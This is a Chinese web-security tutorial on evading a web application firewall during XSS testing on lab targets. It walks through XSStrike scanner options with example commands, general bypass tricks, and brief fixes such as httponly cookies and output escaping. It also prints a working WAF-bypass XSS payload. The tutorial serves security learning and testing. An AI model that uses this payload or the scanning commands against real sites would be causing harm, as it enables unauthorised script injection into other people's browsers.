WEB漏洞-XSS跨站之WAF绕过及安全修复

WEB漏洞-XSS跨站之WAF绕过及安全修复

  • waf防护演示
  • 常规WAF绕过思路
  • XSStrike自动化工具说明
    • 各个选项说明
    • `-u或--url`
    • `--data`
    • `--seeds`
    • `--path`
    • `--json`
    • `--crawl`
    • `--level`
    • `-f或--file`
    • `--params`
    • `--fazzer`
  • Fuzz下XSS绕过WAF
  • 安全修复方案
    • 开启httponly
    • 输入过滤
    • 输出转义

waf防护演示

靶场:xss-labs
在这里插入图片描述

被安全狗拦截
WEB漏洞-XSS跨站之WAF绕过及安全修复_第1张图片
分析拦截情况
分析方法:
1、通过去除关键词或关键词的其中些字母判断拦截了什么关键词,如下正常
WEB漏洞-XSS跨站之WAF绕过及安全修复_第2张图片
2、分析了拦截情况可知也可能是尖括号里面如果有s、o之类的关键词其中的某个或多个字母的话就会拦截,正则表达式
WEB漏洞-XSS跨站之WAF绕过及安全修复_第3张图片
3、不拦截,但是不管用
WEB漏洞-XSS跨站之WAF绕过及安全修复_第4张图片
4、正常,并且可以访问
WEB漏洞-XSS跨站之WAF绕过及安全修复_第5张图片
/结束
WEB漏洞-XSS跨站之WAF绕过及安全修复_第6张图片

常规WAF绕过思路

标签语法替换
特殊符号干扰
/ #
提交方式更改
垃圾数据溢出
加密解密算法
结合其他漏洞绕过

XSStrike自动化工具说明

靶场:xss-labs,dvws

各个选项说明

-h, --help 显示帮助信息并退出
-u, --url 目标url
–data post方法的数据
-f, --file 从文件读取payloads
-t, --threads 线程数量
-l, --level 爬取级别
-t, --encode payload采取的编码
–json json格式的数据
–path 指定路径注入
–seeds 从文件加载url
–fuzzer fuzz工具
–update 更新
–timeout 超时时间
–params 寻找参数
–crawl 爬取
–proxy 使用代理
–blind 爬取时盲注
–skip 跳过确认等
–skip-dom 跳过dom检查
–headers 添加headers
-d, --delay 两次请求之间的延迟

-u或--url

添加目标url,单个GET方法
WEB漏洞-XSS跨站之WAF绕过及安全修复_第7张图片

?name=<A/+/onmOuSeoVer%0d=%0dconfirm()%0dx>v3dm0s

挑选其中一个手动注入发现成功绕过
WEB漏洞-XSS跨站之WAF绕过及安全修复_第8张图片

--data

post方法的数据(多个参数)

python xsstrike.py -u "http://IP地址/vulnerabilities/xss_s/" --data "txtName=test&mtxMessage=This+is+a+test+comment.&btnSign=Sign+Guestbook"

WEB漏洞-XSS跨站之WAF绕过及安全修复_第9张图片

--seeds

从文件
选项:–seeds 不使用-u选项
python xsstrike.py --seeds urls.txt

WEB漏洞-XSS跨站之WAF绕过及安全修复_第10张图片

--path

测试url路径组件

想要在URL路径中注入这样的有效负载 http://example.com/search/
python xsstrike.py -u "http://example.com/search/form/query" --path

--json

POST数据为json格式

python xsstrike.py -u "http://example.com/search.php" --data '{"q":"query"}' --json

--crawl

爬取

python xsstrike.py -u "http://ip地址/vulnerabilities/xss_r" --crawl

在这里插入图片描述

--level

爬取深度
选项-l或–level 默认为2

python xsstrike.py -u "http://IP地址/vulnerabilities/" --crawl -l 5

WEB漏洞-XSS跨站之WAF绕过及安全修复_第11张图片

-f或--file

从文件读取payloads

python xsstrike.py -u "http://ip地址/vulnerabilities/xss_r?name=''" -f payloads.txt

WEB漏洞-XSS跨站之WAF绕过及安全修复_第12张图片在这里插入图片描述

--params

查找隐藏参数

python xsstrike.py -u "http://ip地址/vulnerabilities/xss_r" --params

WEB漏洞-XSS跨站之WAF绕过及安全修复_第13张图片

--fazzer

WEB漏洞-XSS跨站之WAF绕过及安全修复_第14张图片

Fuzz下XSS绕过WAF

靶场:xss-labs
使用:fuzz模糊搜索
WEB漏洞-XSS跨站之WAF绕过及安全修复_第15张图片
WEB漏洞-XSS跨站之WAF绕过及安全修复_第16张图片

安全修复方案

开启httponly

https://www.yisu.com/zixun/310495.html

输入过滤

对输入进行过滤,不允许可能导致XSS攻击的字符输入

输出转义

根据输出点的位置对输出到前端的内容进行适当转义

你可能感兴趣的:(WEB安全-XSS)